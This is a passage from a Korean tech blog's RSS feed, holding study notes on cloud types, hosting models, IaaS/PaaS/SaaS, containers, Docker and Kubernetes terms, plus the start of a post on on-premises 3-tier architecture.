&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EB%88%84%EA%B5%AC%EB%82%98-%EC%89%BD%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EB%8A%94-it-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B8%B0%EC%B4%88&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EB%88%84%EA%B5%AC%EB%82%98-%EC%89%BD%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EB%8A%94-it-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B8%B0%EC%B4%88&lt;/a&gt;&lt;/p&gt;</description>
      <category>IT 지식/IT 인프라 기초</category>
      <category>CI/CD</category>
      <category>DevOps</category>
      <category>IT 인프라</category>
      <category>msa</category>
      <category>개발 모델</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/221</guid>
      <comments>https://it-log.tistory.com/221#entry221comment</comments>
      <pubDate>Thu, 29 May 2025 22:00:58 +0900</pubDate>
    </item>
    <item>
      <title>클라우드</title>
      <link>https://it-log.tistory.com/220</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;클라우드 개념 및 종류&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 클라우드: IT 인프라 자원을 직접 보유해서 사용하는 것이 아닌, &lt;b&gt;다른 기업의 IT 인프라 자원을 빌려서 쓰는 것&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 클라우드 비용: 자원을 빌려 쓴 것 만큼의 사용료를 월 과금 형태로 지불 = Pay as you go(사용한 만큼 지불)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1012&quot; data-origin-height=&quot;418&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cXq7G0/btsNWlnWdTl/CIbkXsisa5rmX05kY9XmV1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cXq7G0/btsNWlnWdTl/CIbkXsisa5rmX05kY9XmV1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cXq7G0/btsNWlnWdTl/CIbkXsisa5rmX05kY9XmV1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcXq7G0%2FbtsNWlnWdTl%2FCIbkXsisa5rmX05kY9XmV1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1012&quot; height=&quot;418&quot; data-origin-width=&quot;1012&quot; data-origin-height=&quot;418&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 호스팅 vs 서버 호스팅 vs 클라우드&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1167&quot; data-origin-height=&quot;293&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/K2E2Y/btsNWQnrii1/m3teOwXqsXsQqfDm7XSghK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/K2E2Y/btsNWQnrii1/m3teOwXqsXsQqfDm7XSghK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/K2E2Y/btsNWQnrii1/m3teOwXqsXsQqfDm7XSghK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FK2E2Y%2FbtsNWQnrii1%2Fm3teOwXqsXsQqfDm7XSghK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1167&quot; height=&quot;293&quot; data-origin-width=&quot;1167&quot; data-origin-height=&quot;293&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100.581%; height: 134px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 10.0867%; text-align: center;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;width: 26.0405%; text-align: center;&quot;&gt;&lt;b&gt;호스팅(웹 호스팅)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 25.9248%; text-align: center;&quot;&gt;&lt;b&gt;서버 호스팅&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 37.948%; text-align: center;&quot;&gt;&lt;b&gt;클라우드&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 10.0867%; text-align: center;&quot;&gt;&lt;b&gt;개념&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 26.0405%;&quot;&gt;IDC의 특정 서버 자원을 빌려씀&lt;/td&gt;
&lt;td style=&quot;width: 25.9248%;&quot;&gt;IDC의 특정 서버 자체를 빌려씀&lt;/td&gt;
&lt;td style=&quot;width: 37.948%;&quot;&gt;IDC의 특정 서버 자원 혹은 서버 자체를 빌려쓸 수 있고, 이 두가지 혼합도 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 10.0867%; text-align: center;&quot;&gt;&lt;b&gt;특징&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 51.9653%;&quot; colspan=&quot;2&quot;&gt;자원 변경(확장 혹은 축소)시 OS 설치 등 세팅 시간이 필요함. 빠른 대응이 어려움&lt;/td&gt;
&lt;td style=&quot;width: 37.948%;&quot;&gt;자원 변경(확장 혹은 축소)시 유연하게 원하는 만큼 빠르게 변경 가능 &amp;rarr; Elastic 하다는 것이 특징&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 코로케이션: 데이터센터 내 공동 공간을 빌려 자사의 서버를 설치하는 것, 회사 자체 서버가 있는 경우 &lt;b&gt;공간만 임대하여 사용&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 호스팅: 회사 자체 서버가 없는 경우, &lt;b&gt;서버 + 공간을 임대하여 사용&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 코로케이션과 서버 호스팅 둘다 서버를 관리해줌&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 호스팅: 다른 사람들과 자원 공유 = 성능 &amp;darr; 비용 &amp;darr;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 호스팅: 단독으로 자원 사용 = 성능 &amp;uarr; 비용 &amp;uarr;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 클라우드: &lt;b&gt;자원 변경이 유연함&lt;/b&gt; = Auto Scaling, 자원과 비용을 비교하여 사용해야 함(&lt;b&gt;비용 최적화가 중요&lt;/b&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- IaaS: Infra as a Service / IT 인프라 자원 전체를 빌려씀, OS 및 각종 소프트웨어 설치 필요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- PaaS: Platform as a Service / 이미 설치된 OS(플랫폼)을 빌려씀, 애플리케이션 설치 필요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- SaaS: Software as a Service / 소프트웨어를 빌려씀&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;683&quot; data-origin-height=&quot;332&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cNuXw6/btsN5zfsv8K/WrTRlONfeX5HMKxceYHyM1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cNuXw6/btsN5zfsv8K/WrTRlONfeX5HMKxceYHyM1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cNuXw6/btsN5zfsv8K/WrTRlONfeX5HMKxceYHyM1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcNuXw6%2FbtsN5zfsv8K%2FWrTRlONfeX5HMKxceYHyM1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;683&quot; height=&quot;332&quot; data-origin-width=&quot;683&quot; data-origin-height=&quot;332&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;851&quot; data-origin-height=&quot;450&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nBU4P/btsN5ROP5bh/A4KkDvAv6rqLnbNvssIuk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nBU4P/btsN5ROP5bh/A4KkDvAv6rqLnbNvssIuk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nBU4P/btsN5ROP5bh/A4KkDvAv6rqLnbNvssIuk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnBU4P%2FbtsN5ROP5bh%2FA4KkDvAv6rqLnbNvssIuk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;851&quot; height=&quot;450&quot; data-origin-width=&quot;851&quot; data-origin-height=&quot;450&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;클라우드 형태&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 온프레미스: 기업이 &lt;b&gt;직접 IT 인프라를 운영&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 퍼블릭 클라우드: 다른 기업의 &lt;b&gt;IT 인프라를 빌려다 씀&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 프라이빗 클라우드: 기업이 보유한 IT 인프라를 클라우드 서비스처럼 기업 내에서 활용 = 회사 자체 클라우드&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1013&quot; data-origin-height=&quot;457&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dB1FIi/btsN8wvqVhL/co7W1kJk1SDhgdnrUHfKUK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dB1FIi/btsN8wvqVhL/co7W1kJk1SDhgdnrUHfKUK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dB1FIi/btsN8wvqVhL/co7W1kJk1SDhgdnrUHfKUK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdB1FIi%2FbtsN8wvqVhL%2Fco7W1kJk1SDhgdnrUHfKUK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1013&quot; height=&quot;457&quot; data-origin-width=&quot;1013&quot; data-origin-height=&quot;457&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 하이브리드 클라우드: 프라이빗 클라우드 + 퍼블릭 클라우드&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 중요한거는 프라이빗 클라우드로 운영, 중요도가 낮은 시스템은 퍼블릭 클라우드로 운영&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 멀티 클라우드: 퍼블릭 클라우드 + 퍼블릭 클라우드 = AWS + Azure&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 가용성을 위해 사용하는 경우(AWS or Azure에 장애 발생 시 다른 클라우드 사용)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1191&quot; data-origin-height=&quot;314&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbKm3g/btsN7ZLEGIu/ndHhkvGLxoSORG1aN6H6PK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbKm3g/btsN7ZLEGIu/ndHhkvGLxoSORG1aN6H6PK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbKm3g/btsN7ZLEGIu/ndHhkvGLxoSORG1aN6H6PK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbKm3g%2FbtsN7ZLEGIu%2FndHhkvGLxoSORG1aN6H6PK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1191&quot; height=&quot;314&quot; data-origin-width=&quot;1191&quot; data-origin-height=&quot;314&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;클라우드 기술 및 용어&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 컨테이너: Container, 리눅스 기반 애플리케이션 운영을 위한 프로세스 격리 기술&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 컨테이너 런타임: Container Runtime, 컨테이너를 다루는 도구&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 도커: Docker, 컨테이너 기술을 누구나 쉽게 사용할 수 있도록 만든 컨테이너 런타임 중 가장 유명한 오픈소스 프로젝트&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;951&quot; data-origin-height=&quot;363&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xyIQe/btsN8aTKUf9/Axn8tru0pysRPp4WBdlCe1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xyIQe/btsN8aTKUf9/Axn8tru0pysRPp4WBdlCe1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xyIQe/btsN8aTKUf9/Axn8tru0pysRPp4WBdlCe1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxyIQe%2FbtsN8aTKUf9%2FAxn8tru0pysRPp4WBdlCe1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;951&quot; height=&quot;363&quot; data-origin-width=&quot;951&quot; data-origin-height=&quot;363&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 컨테이너 vs 가상머신&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 컨테이너는 앱(App) 별로 가상화 vs VM은 OS 별로 가상화&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1084&quot; data-origin-height=&quot;437&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lEM7R/btsN8u5uZYn/muLNKJeRKTVi3Pt6zk6hXk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lEM7R/btsN8u5uZYn/muLNKJeRKTVi3Pt6zk6hXk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lEM7R/btsN8u5uZYn/muLNKJeRKTVi3Pt6zk6hXk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlEM7R%2FbtsN8u5uZYn%2FmuLNKJeRKTVi3Pt6zk6hXk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1084&quot; height=&quot;437&quot; data-origin-width=&quot;1084&quot; data-origin-height=&quot;437&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 쿠버네티스: 다수의 컨테이너를 효율적으로 운영, 관리하기 위한 도구&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 구글이 오픈소스로 공개, 현재 기업 환경에 맞는 유료 쿠버네티스 서비스가 다수 존재(EKS, AKS, GKE 등)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 특정 웹 서버의 기능을 여러개로 나눠서 컨테이너로 관리&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1076&quot; data-origin-height=&quot;447&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XCoiw/btsN6qKiS5q/kZVTJE7VVQmwmGt98QYKi0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XCoiw/btsN6qKiS5q/kZVTJE7VVQmwmGt98QYKi0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XCoiw/btsN6qKiS5q/kZVTJE7VVQmwmGt98QYKi0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXCoiw%2FbtsN6qKiS5q%2FkZVTJE7VVQmwmGt98QYKi0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1076&quot; height=&quot;447&quot; data-origin-width=&quot;1076&quot; data-origin-height=&quot;447&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 파드(Pod): 앱이 운영되는 컨테이너들의 모음, 그룹&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 노드(Node): 파드가 운영되는 물리 서버 또는 가상 머신, 워커 노드라고 부름&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 클러스터(Cluster): 노드들의 집합&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 마스터(Master): 다수의 워커 노드들 및 그 하위의 파드와 컨테이너를 관리하는 노드&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 파드 &amp;lt; 노드 &amp;lt; 클러스터 &amp;lt; 마스터&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1132&quot; data-origin-height=&quot;433&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ecEPtO/btsN7Ssj2zG/HPD8efEUmNBYZtkVTCzFrk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ecEPtO/btsN7Ssj2zG/HPD8efEUmNBYZtkVTCzFrk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ecEPtO/btsN7Ssj2zG/HPD8efEUmNBYZtkVTCzFrk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FecEPtO%2FbtsN7Ssj2zG%2FHPD8efEUmNBYZtkVTCzFrk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1132&quot; height=&quot;433&quot; data-origin-width=&quot;1132&quot; data-origin-height=&quot;433&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EB%88%84%EA%B5%AC%EB%82%98-%EC%89%BD%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EB%8A%94-it-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B8%B0%EC%B4%88&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EB%88%84%EA%B5%AC%EB%82%98-%EC%89%BD%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EB%8A%94-it-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B8%B0%EC%B4%88&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</description>
      <category>IT 지식/IT 인프라 기초</category>
      <category>it 운영</category>
      <category>IT 인프라</category>
      <category>클라우드</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/220</guid>
      <comments>https://it-log.tistory.com/220#entry220comment</comments>
      <pubDate>Wed, 21 May 2025 22:00:12 +0900</pubDate>
    </item>
    <item>
      <title>온프레미스</title>
      <link>https://it-log.tistory.com/219</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;온프레미스 개념과 3 Tier 아키텍처&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;온프레미스 = 기업 자체 전산실&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 기업이 자체 시설에서 보유하고 직접 유지 관리하는 프라이빗 데이터 센터&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;기업이 자체적으로&lt;/b&gt; 서버, 소프트웨어, 네트워크 등 &lt;b&gt;IT 인프라를 구축하고 운영&lt;/b&gt;하는 방식&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1014&quot; data-origin-height=&quot;341&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GEpQY/btsNQmn3cCf/XxIKmJMlkYX8fdDspnSH51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GEpQY/btsNQmn3cCf/XxIKmJMlkYX8fdDspnSH51/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GEpQY/btsNQmn3cCf/XxIKmJMlkYX8fdDspnSH51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGEpQY%2FbtsNQmn3cCf%2FXxIKmJMlkYX8fdDspnSH51%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1014&quot; height=&quot;341&quot; data-origin-width=&quot;1014&quot; data-origin-height=&quot;341&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 3 Tier 아키텍처: 애플리케이션 운영 환경이 컴퓨팅(서버), 네트워크, 스토리지로 구성된 전통적인 아키텍처&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;699&quot; data-origin-height=&quot;443&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cvh5hh/btsNR65l0pB/uaaGfZ2wmHViBEKtzNW1k1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cvh5hh/btsNR65l0pB/uaaGfZ2wmHViBEKtzNW1k1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cvh5hh/btsNR65l0pB/uaaGfZ2wmHViBEKtzNW1k1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcvh5hh%2FbtsNR65l0pB%2FuaaGfZ2wmHViBEKtzNW1k1%2Fimg.png&quot; onerror=&quot;this.onerror=null; 